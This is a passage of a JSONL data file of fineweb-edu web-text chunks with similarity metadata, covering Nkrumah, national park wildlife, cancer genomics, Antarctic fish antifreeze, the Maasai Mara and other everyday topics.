malcom was even invited to visit ghana and to hold discussions with the ghanaian authorities on the links that existed between the struggle of african - americans and developments on the continent. nkrumah was also a keen inspiration for the black panther movement. he was also the most strident advocate of pan africanism in his days. many of the books he authored advocated the unity of africans from all over the world. some of these books were \u201c africa must unite \u2019 \u201c neo - colonialism, the last stage of imperialism \u201d and \u201c class struggle in africa \u201d nkrumah \u2019 s strongest arguments for african unity are made in his book \u201c africa must unite \u201d. he writes \u201c we in africa who are pressing now for unity are deeply conscious of the validity of our purpose. we need the strength of our combined numbers and resources to protect ourselves from the very positive dangers of returning to colonialism in disguised forms. we need it to combat the entrenched forces dividing our continent and still holding back millions of our brothers. we need it to secure total african liberation. we need it to carry forward our construction of a socio - economic system that will support the great mass of our steadily rising population at levels of life which will compare with those in the most advanced countries \u201d for nkrumah the situation in which africa remains the richest continent on the globe whiles its people are counted amongst the poorest is untenable. he saw pan - africanism defined loosely as the ideology and activism of africans everywhere united in the battle against their under development as a redeeming force. pan africanism was not just an intellectual exercise, for nkrumah it was the ideology for the liberation of the african from the clutches of oppression and exploitation.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4462381133564465, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.415546"} {"text": "examples of wildlife management in the national park service one of the most endangered species in north america, the black - footed ferret, has been reintroduced to bandlands national park and wind cave national park. historically, this member of the weasel family was found throughout the great plains, but came close to extinction due to disease and the widespread extermination of its primary food source, the prairie dog. some nps units have problems with wildlife that have become food - conditioned. animals from ground squirrels to bears can become a threat to human safety if they begin approaching humans for food in an aggressive manner. never feeding wildlife, careful food storage, and proper disposal of trash are key to preventing food - conditioned wildlife. if prevention fails, more aggressive management actions may be required to protect human safety and return the \u201c wild \u201d to wildlife. planning and implementation of management actions to address overabundant wildlife populations is occurring in numerous national parks. high concentrations of elk in wintering areas at rocky mountain national park have contributed to severe degradation of vegetation in those areas which, in turn, has negatively affected the distribution of other wildlife species. additionally, high elk density may contribute to a high prevalence of chronic wasting disease in the elk. implementation of management actions can help restore ecosystems to natural function. non - native gemsbok, a large african antelope introduced on neighboring white sands missile range, has had a large impact on vegetation on white sands national monument. after fencing the monument lands, gemsbok were removed through relocation to restore natural conditions in the monument. in nps units where hunting is authorized it is a useful wildlife management tool. however, hunting only occurs if it is determined that harvesting will not unacceptably impact park resources or natural processes, including the natural distributions, densities, age - class distributions, and behavior of the harvested species as well as species that are directly impacted by the harvested species. the nps organic act and longstanding nps policy allow hunting only where it is either mandated or authorized by federal statute. there are 61 park units that authorize hunting. these units are designated primarily as national rivers, lakeshores, seashores, recreation areas, preserves, and monuments. outside of alaska, congress has not allowed hunting in any unit which is designated as a national park. wildlife biologists may mark animals as part of research projects to increase knowledge and improve management. radio - telemetry collars allow biologists to follow an animal ' s movements to learn about it habits, habitat use, and surviorship", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4653099508037115, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.419342"} {"text": "york primary schools tell parallel stories in illustrative prints : parables for our time photo / broadcast opportunity archbishop of york ' s junior school york, yo23 2qt wednesday 15 june at 1. 30pm pupils from six primary schools in york are taking part in a series of workshops, entitled ' parallel stories : parables for our time ', which explores the history, art and culture within the king james bible, as part of its 400th anniversary, which takes place this year. the project is led by the national centre for early music as part of the first york festival of ideas, a partnership between the ncem, the university of york, york theatre royal, and york museums trust. ' parallel stories : parables for our time ' involves archbishop of york ' s junior school, westfield, new earswick, woodthorpe, park grove and dunnington primary schools. becky wirtz, class teacher at archbishop of york ' s junior school says : \" our year 6 pupils have thoroughly enjoyed the creative approach these workshops have taken to examining the cultural background of the king james version. focusing on the parables within the bible, discussing these stories and their meanings, and re - telling them in a modern setting for a present - day audience, has enabled the children to understand the bible ' s significance today. \" they have also looked at how the parables are illustrated within the king james version and have emulated the woodcutting techniques used in it to create their own illustrative prints. they are all very proud and excited that their prints will be bound into a large presentation book and displayed at the national centre for early music as part of york early music festival, running from 8 - 16 july 2011, and subsequently at explore york library centre and york minster library as part of their a book fit for a king kjv exhibition. \" the project, which is run by the national centre for early music in partnership with the university of york community and volunteering unit ( careers service ), also provides volunteering and professional development opportunities for students from the university of york. a group of eleven undergraduate and ma students from the english, education, history of art, and history departments have attended seminars and training sessions on the cultural, historical and artistic aspects of the project and have been responsible for carrying out workshops in the schools. laura bootland and elizabeth cole, students from the university of york, said : \" it has been a great experience to take such a central role in delivering the workshops in these schools and working with very enthusiastic and", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4326186154768364, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.423968"} {"text": "for carrying out workshops in the schools. laura bootland and elizabeth cole, students from the university of york, said : \" it has been a great experience to take such a central role in delivering the workshops in these schools and working with very enthusiastic and engaged groups of children and teachers. having a real hands - on approach has provided an invaluable opportunity to develop our own teaching and leadership skills, while supporting the children ' s learning. \" for further information visit : www. ncem. co. uk / parallelstories and www. yorkfestivalofideas. com shona galletly, on behalf of national centre for early music m : 07813 796 733 notes to editors : the york festival of ideas is a partnership between the university of york, york theatre royal and the national centre for early music and york museums trust. the festival explores a series of intriguing links between past and present, showcasing contemporary ideas, arts and culture, and brings these ideas into conversation with the heritage of the city to reveal new and exciting stories about york, britain and the world. york early music festival is supported by the arts council england, yorkshire, media partner bbc radio 3, the national centre for early music, tourism partners welcome to yorkshire, the city of york council and members of the york hoteliers association. visit : www. ncem. co. uk / yemf", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45546260211331613, "token_count": 282, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.424517"} {"text": "the day of the skulls has its roots in ancient, pre - inca rituals for death in bolivia, the day of the skulls is a colourful collision of ancient ritual with catholic belief. the bbc ' s andres schipani went to a central la paz cemetery to find out more. oscar morales kneels down facing two crystal boxes, each containing two beret - wearing human skulls. \" i pray to saddam [ hussein ] and che [ guevara ], \" he says. \" i have them with me, at my place in a shrine. i give them offerings and they give me their protection. they ' ve never failed me, never, i am their most faithful devotee. \" oscar morales says he makes offerings to his skulls, seeking \" protection \" surrounding him, thousands of people are walking around the huge graveyard, singing and playing popular music to their decorated skulls, praying to them, and making all kinds of offerings, from flower bouquets to sweets and bread. monica, an andean indigenous woman, is wearing a bowler hat and flouncy skirt. she sits by a grave next to justo, her great - grandfather ' s skull. \" he is so good and he takes such good care of my mother and me that he is an integral part of my family. i have a lot of faith in him, \" she says. this is dia de los natitas - a local religious rite that reaches its high point each year in early november - just a week after the catholic all saints day. ' ancient death rituals ' the \" natitas \" - or \" flat noses \" in the local aymara indigenous language - are human skulls that are revered by thousands of catholic indigenous bolivians who believe they protect them from evil, help them attain goals and even work miracles. captain victor is one of la paz ' s most popular skulls the skulls - which are not necessarily from relatives or loved - ones - are sometimes exhumed and sometimes passed from hand to hand. they spend most of their time indoors but are paraded in the city ' s main public cemetery every year at this time. \" the rite is now a blend of catholic and indigenous beliefs, but has its roots in ancient rituals for the death practised by the country ' s indian groups such as the pre - inca aymara and quechua, \" says dr josef estermann, an andean theology expert. \" these practices remain very much embedded in the everyday life of bolivia ' s indigenous majority. \" all of the \" natitas \" have names - but", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3917714982089947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.431301"} {"text": "the national cancer institute ( nci ) and the national human genome research institute ( nhgri ), both part of the national institutes of health ( nih ), today announced the first three cancers that will be studied in the pilot phase of the cancer genome atlas ( tcga ) project. the cancers to be studied in the tcga pilot project are lung, brain ( glioblastoma ), and ovarian. these cancers, which collectively account for more than 210, 000 cancer cases each year in the united states, were selected because of the availability of biospecimen collections that met tcga ' s strict scientific, technical, and ethical requirements. \" the selection of the first three cancer types to be studied by tcga signals the scientific start of this initiative. thanks to the tools and technologies developed by the human genome project, scientists can collaborate to determine whether it will be possible to develop a useful atlas of the changes in the human genetic blueprint associated with all types of cancer, \" said nih director elias a. zerhouni, m. d. it is estimated that 174, 470 new cases of lung cancer will be diagnosed in the united states in 2006. lung cancer is the major cause of cancer - related mortality in both men and women, with an estimated 162, 460 deaths expected to occur in 2006. brain tumors account for nearly 90 percent of all primary central nervous system tumors. it is estimated that 18, 820 new cases of brain cancer will be diagnosed in the united states this year, and 12, 820 patients will die from the disease. glioblastomas, also called glioblastoma multiforme or grade iv astrocytoma, are often fatal, malignant brain tumors that grow and spread very aggressively, and are the most frequently occurring type of brain cancer. an estimated 20, 180 new cases of ovarian cancer and an estimated 15, 310 deaths from the disease are expected in the united states in 2006. often detected late, ovarian cancer causes more deaths than any other cancer of the female reproduc contact : geoff spencer nih / national human genome research institute", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4788415215255038, "token_count": 434, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.435379"} {"text": "email to a friend researchers discover which organs in antarctic fish produce antifreeze life sciences editor photo to enlarge by l. brian stauffer \u201c christina \u201d c. cheng, a professor of animal biology at illinois, and colleagues have discovered that antifreeze glycoproteins originate in the exocrine pancreas and the stomach of antarctic fish, not the liver as long presumed. \u2014 thirty - five years ago arthur devries of the university of illinois at urbana - champaign first documented antifreeze glycoproteins ( afgps ) in antarctic notothenioid fishes. this month three colleagues report they \u2019 ve solved the ensuing, long - running mystery of where these afgps, which allow the fish to survive in icy waters, are produced. \u201c ever since the discovery of these antifreeze proteins, it was assumed they had to be produced in the liver, since the vertebrate liver is well known as a source of secreted plasma protein, so there was no reason to think otherwise \u201d said chi - hing \u201c christina \u201d c. cheng, a professor of animal biology. \u201c it turns out that the liver has no role in the freezing avoidance in these fishes at all. \u201d instead, antifreeze glycoproteins ( afgp ) originate primarily from the exocrine pancreas and the stomach, say cheng, paul a. cziko and clive w. evans in a paper appearing online this week ahead of regular publication in the proceedings of the national academy of sciences. cziko is a research specialist at illinois. evans is a professor of molecular genetics and development at the university of auckland in new zealand. the liver - synthesis mindset dominated earlier studies even though results appeared to be at odds, cheng said. the first radioactive - tracer characterization of liver afgp biosynthesis, in fact, suggested another source of production was possible. later on, northern - blot studies had shown very low expression levels of antifreeze messenger rna in the liver, but this was inconsistent with high levels of production of the protein, the researchers noted. cheng and colleagues used northern blots of total rna from various tissues to hybridize with an afgp gene probe. a clear picture of strong afgp mrna expression came into focus in the pancreatic tissues in all notothenioids tested. the use of cdna cloning and sequencing showed that the mrna all encode secreted an rna analysis from tissues of a single notothenioid unveiled", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.466430211830013, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.441085"} {"text": "mrna expression came into focus in the pancreatic tissues in all notothenioids tested. the use of cdna cloning and sequencing showed that the mrna all encode secreted an rna analysis from tissues of a single notothenioid unveiled the anterior portion of the stomach, next to the esophagus - stomach junction, as being the only other site with strong afgp mrna expression. using antibodies, the researchers found the absence of liver synthesis and strong pancreas expression in newly hatched fish larvae and young juveniles. the exocrine pancreas is the larger of the two parts that make up the pancreas. it consists of tubuloacinar glands that primarily manufacture and secrete digestive enzymes that break down food in the intestine so it can be absorbed. in this case, afgps are secreted into the intestinal lumen where they protect the intestinal fluid from being frozen by ice crystals that come in with seawater and food. internal fluids in notothenioids are about one - half as salty as seawater. while seawater reaches its freezing point at \u2013 1. 91 degrees celsius, fish fluids freeze at about \u2013 1 degree celsius. these species dwell in water that rarely rises above the freezing point and is regularly filled with ice crystals. from the intestine, the afgps are, apparently, absorbed into the blood. this hypothesis is based on the near - identical composition and abundance of afgps found in the fish serum. \u201c in this comprehensive study, we confirm that the exocrine pancreas is the major afgp synthesis site in antarctic notothenioid fishes from hatching through adulthood, while the liver is afgp - expression null in all life stages, \u201d the researchers conclude. \u201c because the notothenioids are confined to chronically icy antarctic waters, and face high risks of ice inoculation from frequent seawater drinking, the evolution of afgps in these fishes was probably driven first and foremost by the need to prevent the hyposmotic intestinal fluid from freezing. \u201d the researchers also studied a variety of fishes from arctic waters that have liver expression of afgps, and found that all of them also express antifreeze in the pancreas. the findings, they wrote, bring a new perspective to teleost freeze - avoidance physiology and \u201c reveals that the long - held paradigm of hepatic - based af synthesis and secretion is no longer universally applicable. \u201d instead,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46689562286263436, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.442205"} {"text": "are brazil nuts really sustainable? only if hunting is controlled rhett a. butler, mongabay. com december 20, 2006 a lot of rainforest conservation initiatives embrace sustainably harvested non - timber forest products ( ntfps ) like seeds and nuts as a means to provide income to locals without harming the forest. operating on the premise that such products are eco - friendly, hundreds of outfits ranging from whole foods to the body shop to ben & jerry ' s homemade ice cream tout their use of sustainably harvested brazil nuts and related products. but really, how sustainable are these products? dr. forget ' s study tree carapa procera in paracou, french guiana ( top ). fruit and seeds of carapa procera fruit and seeds undispersed beneath trees ( second ). undispersed fruit of carapa procera and seeds at brownsberg natural park in suriname ( third ). carapa guianensis seeds used for oil production at waini river, north west region, guyana ( bottom ). all photos courtesy of dr. pierre - michel forget. agouti ( top ) and brazil nut pods ( bottom ) in the amazon rainforest, photos by rhett butler. examining carapa procera seed dispersal by rodents in french guiana and suriname, pierre - michel forget of the museum national d ' histoire naturelle in france and patrick a. jansen of wageningen university in the netherlands found that hunting reduces the viability of ntfp harvesting. in latin american forests, carapa depends on large rodents carapa procera, the seeds of which are used to produce an oil nontimber forest product used medicinally for skin ailments, is dependent on dispersal by \" scatter - hoarding \" rodents, specifically the red acouchy ( myoprocta acouchy ) and the red - rumped agouti ( dasyprocta leporina ). as described by forget and jansen in their paper, these rodents disperse the seeds by collecting them \" one by one from below parent trees and burying these as food reserves in shallow caches at distances up to 125 m from the tree, each seed at a different spot. \" while the rodents feed heavily on these caches during the lean dry season, some seeds are invariably forgotten and germinate into seedlings, ensuring the next generation of carapa trees. seeds that are not quickly dispersed by rodents rot under the parent tree or become infested with insects. as such, the rodents play a key role in the life cycle", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.40100260403068017, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.450699"} {"text": "germinate into seedlings, ensuring the next generation of carapa trees. seeds that are not quickly dispersed by rodents rot under the parent tree or become infested with insects. as such, the rodents play a key role in the life cycle of the tree species. given the significance of the rodent population, forget and jansen wanted to see the impact of hunting on the propagation of the carapa trees. using four study sites in french guiana and suriname, each with protected and hunted rodent populations, the scientists found that hunted areas had a lower proportion of seeds dispersed than in protected areas, indicating reduced likelihood that seeds would germinate and become seedlings. the findings are consistent with other studies that show hunting reduces dispersal rates among other tree species. the problem that arises is when subsistence hunting accompanies seed extraction. in many areas, wild game is a key supplemental source of protein for human populations living in and around forest areas where seeds and nuts are harvested. \" the sustainability of natural non - timber forest products on the international market is a topic of hot debate, \" said forget, who has spent more than 20 years studying the relationships between plants and animal dispersers. \" we need to be careful when purchasing and using natural products from the amazonian forest, as well as other areas. these seeds and nuts are part of the natural cycle. seeds naturally lost to rodents ( predation following seed dispersal ) are the price to pay to for efficient propagation of the tree species. when human harvest all seeds to maximize income, rodents might suffer or put greater pressure on other seed species, thus threatening biodiversity as a whole. \" \" in the short term, trees lose seedlings. over the long term, human communities might lose their sustainable livelihood as less ntfp trees germinate and reach maturity, \" forget told mongabay. com. \" andiroba or crabwood oil is a major income for local communities but overharvesting of game ( rodents such as agouti and acouchy ) may also preclude efficient recruitment. the situation might be even worse when seeds are, at the same time, harvested for oil production. \" while over - harvesting of seeds can be a problem for seed dispersers and hence overall forest health, the authors say that seed extraction in moderation can actually be beneficial to the forest ecosystem and human inhabitants, especially in years with a bumper seed crop. the reasoning? since undispersed seeds have a low probability of sprouting and generally not collected by seed dispersers which prefer freshly", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4606296301080523, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.451786"} {"text": "##ration can actually be beneficial to the forest ecosystem and human inhabitants, especially in years with a bumper seed crop. the reasoning? since undispersed seeds have a low probability of sprouting and generally not collected by seed dispersers which prefer freshly fallen seeds, their commercial extraction does not necessarily hurt disperser populations or affect the overall number of seedlings. \" ironically, because undispersed seeds have a negligible probability of recruitment, their commercial extraction need not negatively affect seedling recruitment further, \" wrote the authors. \" extraction of undispersed seeds might even promote recruitment, given that accumulations of seeds below parent trees facilitate a buildup of seed - predating insect populations and may result in increasing seed predation over time. \" \" in contrast, \" added forget, \" in lean years the entire crop of seeds might be just enough to feed rodents and no extra seeds might be invested in the regeneration of the tree species, as shown by the doctoral thesis of patrick jansen. in such years, seed extraction might be detrimental to rodent survival on the short term, and to tree regeneration on the long term. \" andiroba oil ( imported from brazil ) for sale in cayenne, the prefecture of french guiana ( top ). in guyana, carapa oil is produced by maria and terry gonsalves for a sea turtle conservation project ( bottom ). gmtcs is working along with iwokrama to develop an international market for carapa oil. photos courtesy of dr. pierre - michel forget. \" the subsistence hunting that usually accompanies seed extraction is at the cost of seed dispersal and may contribute to recruitment failure of these ntfps, \" they wrote. \" seed extraction from natural populations may less affect seedling recruitment and therefore be more sustainable if accompanied by measures adequately incorporating and protecting seed dispersers. \" \" given the importance of animals ( frugivores ) for forest regeneration, we need to find a good balance between all those different uses ( game hunting and seeds / fruits ) in parks and reserves, \" said forget. \" the best solution may be to encourage the development of diverse multi - species plantations of these ntfp trees on degraded lands... this may help save rainforests in south america and other parts of the world. \" nontimber forest products are also known as non - wood forest products ( nwfp ). recommend this article? comments? > digg this article | > hugg this article | contact", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4599840744747732, "token_count": 506, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.452731"} {"text": "since 1960, when the gates were closed on the newly built glen canyon dam, the colorado river has only rarely flowed to the sea, and the river \u2019 s delta started to fade. water users in the united states saw lake powell, the reservoir behind the dam, as a bounty for booming cities in the desert. communities in the colorado \u2019 s delta saw a river disappear. in a new chapter of an age - old story, the upstream sovereign controlled the resource while the downstream sovereign bore the costs. \u201c poor mexico \u201d people said, \u201c so far from god and so close to the united states. \u201d this history makes it all the more remarkable that on november 20, 2012, mexico and the united states turned a new page in their relationship to the colorado river, joining together to restore flows to the colorado river delta. leaving behind unilateralism, the two countries united to sign the most important bilateral colorado river agreement since the 1944 treaty. the term of the agreement is short \u2013 five years \u2013 but the framework it sets and the tools it provides are exactly the kind of innovations that will be needed for both the river and the communities who use it to weather the impacts of climate change. moreover, there is every expectation that if that agreement works as hoped, the commitments will be renewed. the agreement signed today provides water for the delta, as well as a system to share water surpluses in times of plenty and shortages in drought. it allows mexico to store water in lake mead, benefitting mexico and the u. s. states dependent on this vital reservoir, and it commits the two countries to cooperative investments in water conservation, with benefits accruing both to water users and the environment. this new agreement, known as minute 319, is a new way forward, but the journey to this accomplishment started years ago. in the waning days of the clinton administration, rules allocating colorado river \u201c surpluses \u201d were adopted to benefit u. s. water users over formal protest from mexico, whose complaint was all but ignored. in the face of this controversy, the two countries signed minute 306, acknowledging the importance of the colorado river delta to both countries, promising further study of the issue of water supply for the environment. events over the last twelve years that led to today \u2019 s agreement have been a soap opera \u2013 a telenovela if you will \u2013 with a storyline influenced by language barriers, cultural differences, and geopolitics much larger than the colorado river. the twists and turns were many in this arduous and complicated negotiation, and at times it", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4502916538539409, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.455577"} {"text": "high school students have an advantage when it comes to organizing to demilitarize their schools and counter military recruiters. the constitution guarantees them an inherent right to speak out on controversial topics at their schools as long as they don ' t violate legitimate time, place and manner rules. and when it comes to convincing district trustees or superintendents, students can speak with authority about what they are experiencing in their schools. for more information on students ' rights, check out the organizing guides and toolkits. start a club to do cr work. talk to your friends or folks you think might be interested in participating. have a meeting with a few people to start the process. assign tasks like : - find out about the rules regarding clubs / organizations at your school - begin the process of starting a club ( paperwork if necessary, etc. ) - make a flyer about the group - make copies of the flyer - pass out flyers - hang flyers up at the school, around town at libraries, events, stores, etc. - get an advisor - talk to some teachers who might be supportive and are willing to help out ( make copies, reserve meeting rooms, talk to the administration, offer advice, etc. ) look for allies allies are often available in the community to support and assist students who wish to educate their peers and organize. use the nnomy national database to see if any such groups are located in your area. college information sessions / workshops you could invite a representative from a college or someone who has been in college ( especially a young person ) to lead info. sessions / workshops on college, including some of the following topics : - what is college for? why go to college? - what is college like? the basics. - can i afford college? how to get financial aid. - figuring out what to study / choosing a major. some colleges have active outreach programs to help students answer the above questions. click here to learn about one example, the california student opportunity and access program, which is instrumental in improving the flow of information about postsecondary education and financial aid while raising the achievement levels of low - income elementary and secondary school students, or geographic regions with low - eligibility or college participation rates. here are some recommended links available to better inform you as a student. this is a work in progress and nnomy will be adding new documents as they are prepared and as policies change that effect enlistment. check back periodically. - dmz : a guide to taking your school back from the military - 10 points to consider before you", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47130791641059694, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.459911"} {"text": "in progress and nnomy will be adding new documents as they are prepared and as policies change that effect enlistment. check back periodically. - dmz : a guide to taking your school back from the military - 10 points to consider before you sign a military enlistment agreement - hosting a high school event - using equal access to counter militarism in high schools - jsd opt - out form for students - guynn notes toward more powerful organizing : pitfalls and potential in counter - recruitment o - starting up a project to counter military recruiting - project yano resources - know before you go, ' cause there ' s no reset button organizations you should know : - alternatives to the military - lincoln, nebraska - american friends service committee peacebuilding and conflict prevention - philadelphia, pennsylvania - bay - peace : better alternatives for youth - san francisco, california - coalition for alternatives to militarism in our schools ( cams ) - los angeles, california - penn army of none - philadelphia, pennsylvania - project yano - san diego, california - rogue valley peace veterans - rogue valley, oregon - sustainable options for youth - austin, texas - veterans for peace, tampa bay, florida - war resisters league - norwich, connecticut - youth activists youth allies ( ya - ya ) network - new york city, new york articles on the web : - students campaign to restrict military recruiting at high schools - chicago - area high school students face expulsion for antiwar sit - in - the battle of berkeley : this war must stop - high school students win right to counter - recruitment table - five years of counter recruitment in chicago - counter recruitment program at american friends service committee - last modifiedthursday, 28 february 2013 - hits8737 vues", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48535053131895467, "token_count": 351, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.460553"} {"text": "please use this identifier to cite or link to this item : http : / / hdl. handle. net / 1959. 13 / 42991 - learning english from signed english : an impossible task? - the university of newcastle. faculty of education & arts, school of education - a sample of elementary school - and high school - age deaf students in special education programs in the australian state of queensland using australasian signed english ( ase ) took the test of syntactic abilities ( quigley, steinkamp, power, & jones, 1978 ) and wrote a story in response to a wordless picture sequence. several analyses of the students ' test scores and of the written language of their stories were undertaken. it was found that classroom use of ase was of benefit to these students in developing english and telling a story in writing, but that there were complex aspects of syntax that required special teaching. the implications for the use of signed english systems and the teaching of english to deaf students who use signed english communication are examined. - american annals of the deaf vol. 153, issue 1, p. 37 - 47 - gallaudet university outreach services hearing impaired children ; australasian signed english ( ase ) ; - resource type - journal article", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5165118744698312, "token_count": 256, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.464288"} {"text": "ants are mainly beneficial to our well - being. there are over 400 species of ants that inhabit north america. some are parasitic to other insects - including other ants, and some are plant eaters. many others are omnivores and feed on both plants and flesh of vertebrates and invertebrates. their food source may be alive or dead. most of the species do not cause direct harm to humans, but a few can cause a painful sting, such as the fire ant. one of the species that are found in lawns is the little black ant that makes a crater of very fine soil around their nest opening. the life cycle of the ant consists of four stages : egg, larva, pupa, and adult. fertilized eggs produce female ants ( queens, workers, or soldiers ) ; unfertilized eggs produce male ants. egg : ant eggs are oval shaped and tiny ( they are on the order of 1 mm long, but the queen ' s egg is many times larger ). larva : the worm - like larvae have no eyes and no legs ; they eat food regurgitated by adult ants. the larvae molt ( shed their skin ) many times as they increase in size. pupa : after reaching a certain size, the larva spins a silk - like cocoon around itself ( against a solid object, like the wall of the chamber ) and pupates. during this time the body metamorphoses ( changes ) into its adult form. adult : the pupa emerges as an adult. the entire life cycle usually lasts from 6 to 10 weeks. some queens can live over 15 years, and some workers can live for up to 7 years. ants are generally not a problem in lawns, and can contribute significantly to the control of other insect pests by feeding on their eggs or larvae. occasionally, their nest can get large and can cause some aesthetic damage to the lawn. the ants can create mounds on the surface which can smother the grass, and the tunneling creates galleries in the soil which disturb the roots, dry the soil and cause the grass to thin out. the mounds can also be a nuisance when mowing as they can damage the mower blades. imported fire ants are a big problem in the southern eastern us but are not found in the northern us and canada, so far. fire ants can cause nasty stings and create large mounds within a lawn that can damage mowing equipment. ants prefer dry, sunny locations, so ensuring adequate soil moisture is important", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45234753965379276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.467218"} {"text": "south western kenya is the heartland of the maasai. the maasai are a strongly independent people who still value tradition and ritual as an integral part of their everyday lives. they regard themselves not just as residents of this area but that they are as much a part of the life of the land as the land is part of their lives. traditionally, the maasai rarely hunt and living alongside wildlife in harmony is an important part of their beliefs. lions and wildebeest play as important a role in their cultural beliefs as their own herds of cattle. this unique co - existence of man and wildlife makes this maasai land one of the world \u2019 s most unique wilderness regions. at the heart of these lands is the maasai mara game reserve, widely considered to be africa \u2019 s greatest wildlife reserve. the mara comprises 200 sq miles of open plains, woodlands and riverine forest. contiguous with the plains of the serengeti, the mara is home to a breathtaking array of life. the vast grassland plains are scattered with herds of zebra, giraffe, gazelle, and topi. the acacia forests abound with birdlife and monkeys. elephants and buffalo wallow in the wide musiara swamp. the mara and talek rivers are brimming with hippos and crocodiles. each year the mara plays host to the world \u2019 s greatest natural spectacle, the great wildebeest migration from the serengeti. from july to october, the promise of rain and fresh life giving grass in the north brings more than 1. 3 million wildebeest together into a single massive herd. they pour across the border into the mara, making a spectacular entrance in a surging column of life that stretches from horizon to horizon. at the mara river they mass together on the banks before finally plunging forward through the raging waters, creating a frenzy as they fight against swift currents and waiting crocodiles. the wildebeest bring new life to the mara, not just through their cycle of regeneration of the grasslands, but for the predators who follow the herds. the mara has been called the kingdom of lions and these regal and powerful hunters dominate these grasslands. cheetah are also a common sight in the mara, as are hyena and smaller predators such as jackals. the mara is an awesome natural wonder, a place where maasai warriors share the plains with hunting lions, a place of mighty herds and timeless cycles of life, death and regeneration. the mara is probably the best serviced of all kenyan parks and reserves", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3909420525919455, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.470959"} {"text": "the mara is an awesome natural wonder, a place where maasai warriors share the plains with hunting lions, a place of mighty herds and timeless cycles of life, death and regeneration. the mara is probably the best serviced of all kenyan parks and reserves with a wide range of accommodation for any budget. the reserve is a popular attraction with safari operators. the reserve is ideal for game drives, and some lodges and camps offer walks and balloon safaris. wildlife moves freely in and out of the reserve, and through neighbouring maasai lands. outside the boundaries of the reserve there are many other small camps and lodges, some of which offer walking, horse riding and other safari options. the loita hills and the nguruman escarpment, both considered sacred to the maasai, offer high forest trekking opportunities for the adventurous traveller..... to explore this area further, select a safari from the menu on the left... the point of road access to this region is narok, a 3 hour drive from nairobi. there are regular buses and matatus to narok from nairobi and other destinations. some people choose to fly to the mara, which is serviced by 2 airstrips. there are daily scheduled flights from nairobi, and the coast. private charters also use these strips. accessing the mara area is difficult without private transport. most visitors come to maasai mara as part of a safari package from nairobi or in a hire car. the park has well established internal roads and tracks. accessing areas outside the reserve is only possible using basic public transport, and finding your way around can be difficult. several safari operators can arrange specialized tours, treks or hikes in this area. magicalkenya. com - the official destination website of kenya tourist board", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39926285032672754, "token_count": 360, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.471650"} {"text": "we often hear how southerners promoted \" lost cause mythology \" after the war in defending their history ( which all nations involved in war do to one extent or another ). but how often do we hear those same critics discuss \" holy cause mythology \" and how many northerners embellished lincoln ' s record and glorified his persona in defense of their history. the correct answer would be \" not very often \" ; though we ' re beginning to see it more. case in point : a watch that 